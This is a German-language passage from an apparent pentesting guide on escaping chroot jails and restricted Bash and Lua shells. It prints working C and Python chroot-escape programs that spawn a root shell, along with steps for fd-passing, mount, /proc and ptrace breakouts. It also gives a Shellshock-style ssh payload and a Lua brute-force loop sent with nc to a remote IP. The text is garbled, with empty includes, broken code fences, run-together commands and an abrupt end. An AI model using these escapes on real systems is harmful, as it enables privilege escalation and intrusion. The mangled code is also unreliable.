Von wikipedia: Der chroot-Mechanismus ist nicht dazu gedacht, um gegen absichtliche Manipulationen durch privilegierte (root) Benutzer zu verteidigen. In den meisten Systemen stapeln sich chroot-Kontexte nicht richtig und chrooted Programme mit ausreichenden Rechten können einen zweiten chroot durchführen, um auszubrechen.
Normalerweise bedeutet dies, dass du root innerhalb des chroot sein musst, um auszubrechen.
Das Toolchw00t wurde entwickelt, um die folgenden Szenarien auszunutzen und aus chroot auszubrechen.
Root + CWD
Wenn du root innerhalb eines chroot bist, kannst du ausbrechen, indem du einen weiteren chroot erstellst. Das liegt daran, dass 2 chroots nicht koexistieren können (in Linux), also wenn du einen Ordner erstellst und dann einen neuen chroot in diesem neuen Ordner erstellst, während du außerhalb davon bist, wirst du jetzt außerhalb des neuen chroot sein und somit im FS.
Dies geschieht, weil chroot normalerweise DEIN Arbeitsverzeichnis nicht in das angegebene verschiebt, sodass du einen chroot erstellen kannst, aber außerhalb davon bist.
Normalerweise wirst du die chroot-Binärdatei nicht innerhalb eines chroot-Gefängnisses finden, aber du könntest eine Binärdatei kompilieren, hochladen und ausführen:
C: break_chroot.c
```c #include #include #include
//gcc break_chroot.c -o break_chroot
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
</details>
<details>
<summary>Python</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Dies ist ähnlich wie im vorherigen Fall, aber in diesem Fall speichert der Angreifer einen Dateideskriptor für das aktuelle Verzeichnis und erstellt dann das chroot in einem neuen Ordner. Schließlich hat er Zugriff auf diesen FDaußerhalb des chroot, er greift darauf zu und entkommt.
</details>
### Root + Fork + UDS (Unix Domain Sockets)
<div data-gb-custom-block data-tag="hint" data-style='warning'>
FD kann über Unix Domain Sockets übergeben werden, also:
* Erstelle einen Kindprozess (fork)
* Erstelle UDS, damit Eltern- und Kindprozess kommunizieren können
* Führe chroot im Kindprozess in einem anderen Ordner aus
* Erstelle im Elternprozess einen FD eines Ordners, der außerhalb des neuen chroot des Kindprozesses liegt
* Übergebe diesen FD an den Kindprozess über die UDS
* Der Kindprozess wechselt in das Verzeichnis dieses FD, und da es außerhalb seines chroot ist, wird er aus dem Gefängnis entkommen
</div>
### Root + Mount
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Mounten des Root-Geräts (/) in ein Verzeichnis innerhalb des chroot
* Chrooten in dieses Verzeichnis
Das ist in Linux möglich
</div>
### Root + /proc
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Mount procfs in ein Verzeichnis innerhalb des chroot (falls es noch nicht geschehen ist)
* Suche nach einer PID, die einen anderen Root/CWD-Eintrag hat, wie: /proc/1/root
* Chroot in diesen Eintrag
</div>
### Root(?) + Fork
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Erstelle einen Fork (Kindprozess) und chroot in einen anderen Ordner tiefer im FS und wechsle in ihn
* Bewege vom Elternprozess den Ordner, in dem sich der Kindprozess befindet, in einen Ordner vor dem chroot der Kinder
* Dieser Kinderprozess wird sich außerhalb des chroot finden
</div>
### ptrace
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Vor einiger Zeit konnten Benutzer ihre eigenen Prozesse von einem eigenen Prozess debuggen... aber das ist standardmäßig nicht mehr möglich
* Wenn es jedoch möglich ist, könntest du ptrace in einen Prozess und Shellcode darin ausführen ([siehe dieses Beispiel](linux-capabilities.md#cap\_sys\_ptrace)).
</div>
## Bash Jails
### Enumeration
Hole Informationen über das Gefängnis:
```bash
echo $SHELL
echo $PATH
env
export
pwd
PATH ändern
Überprüfen Sie, ob Sie die PATH-Umgebungsvariable ändern können.
echo $PATH #See the path of the executables that you can usePATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin#Try to change the pathecho/home/*#List directory
Vim verwenden
:setshell=/bin/sh:shell
Erstelle Skript
Überprüfe, ob du eine ausführbare Datei mit /bin/bash als Inhalt erstellen kannst.
red/bin/bash> w wx/path #Write /bin/bash in a writable and executable path
Holen Sie sich bash von SSH
Wenn Sie über ssh zugreifen, können Sie diesen Trick verwenden, um eine bash-Shell auszuführen:
ssh-tuser@<IP>bash# Get directly an interactive shellsshuser@<IP>-t"bash --noprofile -i"sshuser@<IP>-t"() { :; }; sh -i "
Beachten Sie, dass sich die Reihenfolge der Funktionen ändert, jedes Mal, wenn Sie die vorherige Einzeile in einer anderen Lua-Umgebung ausführen. Daher können Sie, wenn Sie eine bestimmte Funktion ausführen müssen, einen Brute-Force-Angriff durchführen, indem Sie verschiedene Lua-Umgebungen laden und die erste Funktion der le-Bibliothek aufrufen:
#In this scenario you could BF the victim that is generating a new lua environment#for every interaction with the following line and when you are lucky#the char function is going to be executedfor k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end#This attack from a CTF can be used to try to chain the function execute from "os" library#and "char" from string library, and the use both to execute a commandfor i inseq1000; doecho"for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end"|nc10.10.10.1010006|grep-A5"Code: char"; done
Interaktive Lua-Shell erhalten: Wenn Sie sich in einer eingeschränkten Lua-Shell befinden, können Sie eine neue Lua-Shell (und hoffentlich unbegrenzt) erhalten, indem Sie Folgendes aufrufen: